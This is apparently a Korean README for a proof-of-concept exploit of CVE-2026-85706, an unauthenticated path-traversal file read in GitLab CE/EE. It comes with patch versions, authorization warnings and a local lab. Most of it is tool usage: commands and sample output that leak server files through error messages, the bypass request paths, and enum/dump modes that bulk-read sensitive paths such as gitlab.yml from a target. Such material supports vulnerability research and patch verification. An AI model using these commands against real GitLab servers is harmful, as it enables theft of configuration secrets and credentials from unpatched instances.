
CVE-2026-85706 PoC: GitLab CE/EE 비인증 임의 로컬 파일 읽기
CVE-2026-85706은 GitLab CE/EE의 Repository Commits 및 Repository Files API에서 발생하는 심각한 경로 순회(path-traversal) / 인증 누락 문제입니다. 인증되지 않은 공격자가 서버로 하여금 임의의 파일을 읽게 하고, 오류 채널을 통해 그 내용을 획득할 수 있습니다. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
GitLab의 공식 제목은 "Path Traversal issue in repository commits API impacts GitLab CE/EE" 입니다. 수정 사항은 2026-09-10에 19.3.2 / 19.2.6 / 19.1.8로 배포되었습니다.
[!IMPORTANT] 자체 관리형 GitLab <= 19.3.1을 운영 중이신가요? 19.3.2 / 19.2.6 / 19.1.8로 업그레이드하세요.
[!WARNING] 허가된 사용만 가능합니다. 본 도구는 본인이 소유하거나 테스트가 명시적으로 허가된 시스템에만 실행하세요.
이 저장소에는 독립적인 개념 증명(proof of concept), 최소 재현 랩, 그리고 전체 기술 분석이 포함되어 있습니다:
제3자 시스템에서 수집된 데이터는 포함되어 있지 않습니다.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
랩은 127.0.0.1에서만 수신 대기하며 lab/vault/ 샌드박스 내부만 읽으므로, 실제 머신의 파일에는
절대 접근할 수 없습니다.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
자체 서명 인증서에는 --insecure를 추가하고, 인코딩된 경로보다 숫자 프로젝트 id를 선호하세요
(group%2Fproject 대신 --project <id>).
check가 출력하는 레이블:
check - 대상이 취약한가?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
종료 코드: 0 = 취약함; 1 = 테스트된 벡터로는 익스플로잇 불가(패치됨, 또는 경로에 도달 불가).
알아둘 만한 두 가지 세부 사항:
Workhorse bypass probe 블록은 라우팅 증명입니다: file은 Workhorse가 본문을 버퍼링하고 서명했을 때만
존재하므로, 400 {"error":"file is missing"}은 우회 경로가 해당 파이프라인을 건너뛰면서도 API에
도달했음을 증명합니다. 패치된 빌드에서는 마지막 줄이 HTTP 401로 표시됩니다.commits-canonical -> 401)는 대조 사례(control case) 입니다: 여기서는 Workhorse가
file.path를 재작성하므로 공격자의 값이 취약한 코드에 도달하지 않습니다.read - 단일 파일 읽기$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
종료 코드: 0 = 내용 유출됨, 또는 기준선으로 확인된 인증 전 읽기; 1 = 인증 전 읽기가 관찰되지 않음.
enum / dump - 대량 탐색python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt에는 흥미로운 GitLab/Linux 경로 45개가 포함되어 있습니다; --wordlist / --files는
인라인으로 또는 파일을 통해 지정할 수 있으며, 두 형식을 함께 사용할 수도 있습니다. 이 두 하위 명령만이
실제 파일 내용을 다룹니다 - 출력은 이 저장소 외부에 작성하고, 캡처한 내용을 절대 공개하지 마세요.
옵션 순서가 중요합니다: 공유 옵션은 하위 명령 뒤에 옵니다 - --url ... check가 아니라
check --url ... --insecure입니다.
이 자료는 보안 연구 및 허가된 테스트 - 본인의 랩, 버그 바운티 프로그램, 또는 서면 허가를 받은 침투 테스트 - 를 위해 제공됩니다. 본인이 소유하거나 테스트가 명시적으로 허용된 시스템에만 사용하세요. 제3자 시스템에 대한 무단 접근은 불법입니다. 어떠한 종류의 보증도 없이 있는 그대로 제공됩니다.
| Command | Purpose | Key options |
|---|
check | 대상이 취약한가? 모든 우회 벡터의 응답을 비교 | --canary-path, --no-bypass-probe |
read | 파일 하나를 읽고 내용이 유출되는지 보고 | --file <path>, --media <type> |
enum | 경로 목록을 탐색하고 각각을 분류 | --wordlist, --wordlist-file |
dump | 읽을 수 있는 모든 파일을 매니페스트 및 원시 응답과 함께 디스크에 저장 | --files, --files-file, --outdir |
| Label | Request path |
|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
| Option | Meaning |
|---|
--url <base URL> | 대상 기본 URL (필수) |
--project <id or encoded path> | 공개 프로젝트 id (123) 또는 URL 인코딩 경로 (group%2Fproject), 필수 |
--token <PRIVATE-TOKEN> | 선택 사항; 인증된 경로 테스트 |
--insecure | TLS 검증 건너뛰기 (자체 서명 인증서) |
-v, --verbose | 모든 요청/응답을 stderr에 출력 |
--canary-path <path> | 취약점 기준선으로 사용되는, 존재하지 않음이 보장된 경로 |
--color <mode> | auto (기본값, 실제 터미널에서 색상 사용), always, never |
| Test | Result |
|---|
Patched control - gitlab.com, 19.3.2+ | 모든 벡터가 401을 반환; 다른 유일한 응답은 라우팅 우회를 증명하는 400 {"error":"file is missing"} |
Local lab - lab/vulnerable_api.py | Rails 측 신뢰 버그를 처음부터 끝까지 재현; --patched는 비교 빌드를 제공 |
| Real self-managed instance - 19.3.1, 서면 허가 | 취약함 확인; 호스트 및 프로젝트 세부 정보는 여기에 의도적으로 공개하지 않음. 집계 결과는 ANALYSIS.md, 섹션 4.3 참조 |